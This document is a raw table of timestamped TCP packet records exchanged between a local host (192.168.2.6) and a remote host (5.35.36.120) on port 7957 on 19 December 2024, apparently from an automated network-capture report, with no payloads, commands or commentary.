Dec 19, 2024 09:29:53.354090929 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.354146957 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.355083942 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.355186939 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.355253935 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.356200933 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.356296062 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.356579065 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.357275009 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.357369900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.357455015 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.358361006 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.358459949 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.358557940 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.359436035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.359489918 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.359925985 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.360537052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.360735893 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.360851049 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.361677885 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.361804962 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.362451077 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.362746000 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.362834930 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.362876892 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.363841057 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.363909960 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.364749908 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.364898920 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.365012884 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.365065098 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.366049051 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.366168022 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.367331982 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.367396116 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.367507935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.367928982 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.368561029 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.368740082 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.369252920 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.369621992 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.369678020 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.370170116 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.370528936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.370606899 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.370716095 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.371522903 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.371603966 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.372298002 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.372695923 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.372745991 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.372792006 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.373723030 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.373809099 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.373955965 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.374753952 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.375080109 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.376221895 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.376285076 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.376384974 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.376437902 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.377481937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.377572060 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.377656937 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.378416061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.378525019 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.378892899 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.379360914 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.379435062 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.379528046 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.380445004 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.380526066 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.381000996 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.381346941 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.381412029 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.381474018 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.382395983 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.382467031 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.383121014 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.383476973 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.383586884 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.383831978 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.384617090 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.384706974 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.384747028 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.385740995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.385890007 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.386811018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.386941910 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.386950970 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.387310028 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.387871981 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.388132095 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.388245106 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.388976097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.389024973 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.389162064 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.390036106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.390140057 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.390933037 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.391171932 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.391278982 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.391803026 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.392359972 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.392457962 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.392508984 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.393338919 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.393491983 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.393528938 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.394448996 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.394565105 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.394856930 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.395596981 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.395754099 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.395833969 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.396626949 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.396740913 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.397689104 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.397697926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.397810936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.398422003 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.398909092 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.399007082 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.399104118 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.400082111 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.400224924 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.400340080 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.401438951 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.401568890 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.401624918 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.402266026 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.402342081 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.402383089 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.403150082 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.403259039 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.403300047 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.404282093 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.458794117 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.539174080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.539225101 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.539741993 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.539936066 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.539975882 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.540224075 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.540798903 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.540894985 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.540941000 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.541985035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.542074919 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.542195082 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.542994976 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.543111086 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.543155909 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.544083118 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.544188023 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.544233084 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.545182943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.545279980 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.545322895 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.546258926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.546355009 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.546400070 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.547413111 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.547451019 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.547568083 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.548535109 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.548573017 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.548621893 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.549596071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.549660921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.549705982 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.550615072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.550679922 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.550721884 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.551759005 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.551855087 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.551897049 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.553204060 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.553368092 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.553412914 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.554028034 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.554116964 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.554162025 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.555035114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.555114031 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.555155993 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.556169987 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.556221008 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.556344986 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.557248116 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.557292938 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.557349920 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.558368921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.558429003 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.558474064 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.559370995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.559478998 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.559585094 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.560579062 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.560671091 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.560731888 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.561634064 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.561697960 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.561860085 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.562660933 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.562766075 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.562824965 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.563764095 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.563846111 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.563915014 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.564877987 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.564990997 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.565052032 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.565998077 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.566087008 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.566212893 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.567096949 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.567146063 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.567300081 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.568186045 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.568202019 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.568387985 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.569283009 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.569413900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.569520950 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.570308924 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.570432901 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.570725918 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.571423054 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.571652889 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.571729898 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.572493076 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.572607994 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.572743893 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.573602915 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.573718071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.573811054 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.574714899 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.574836016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.574997902 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.576018095 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.576034069 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.576119900 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.576934099 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.577059984 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.577130079 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.578072071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.578111887 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.578181982 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.579073906 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.579130888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.579170942 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.580450058 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.580610037 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.580746889 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.581608057 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.581691027 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.581773996 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.582427025 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.582499027 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.583103895 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.583408117 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.583556890 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.583906889 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.584512949 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.584630966 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.584795952 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.585690975 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.585774899 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.585863113 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.586740017 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.586756945 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.586819887 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.587810040 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.587888002 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.587956905 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.588922024 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.589021921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.589093924 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.589977026 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.590120077 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.590193033 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.591145992 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.591197014 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.591258049 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.592191935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.592324018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.592375040 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.593441963 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.593535900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.593663931 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.594368935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.594393969 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.594525099 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.595447063 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.595531940 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.595666885 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.596523046 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.646233082 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.731275082 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.731386900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.731749058 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.731812000 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.731885910 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.731975079 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.732945919 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.733071089 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.733211040 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.734143972 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.734273911 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.734329939 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.735090971 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.735192060 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.735333920 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.736171007 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.736284971 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.736382961 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.737289906 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.737391949 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.737437963 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.738529921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.738558054 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.738643885 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.739528894 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.739619970 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.739708900 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.740571022 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.740688086 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.740727901 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:53.741691113 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.741760969 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:53.741823912 CET	49792	7957	192.168.2.6	5.35.36.120
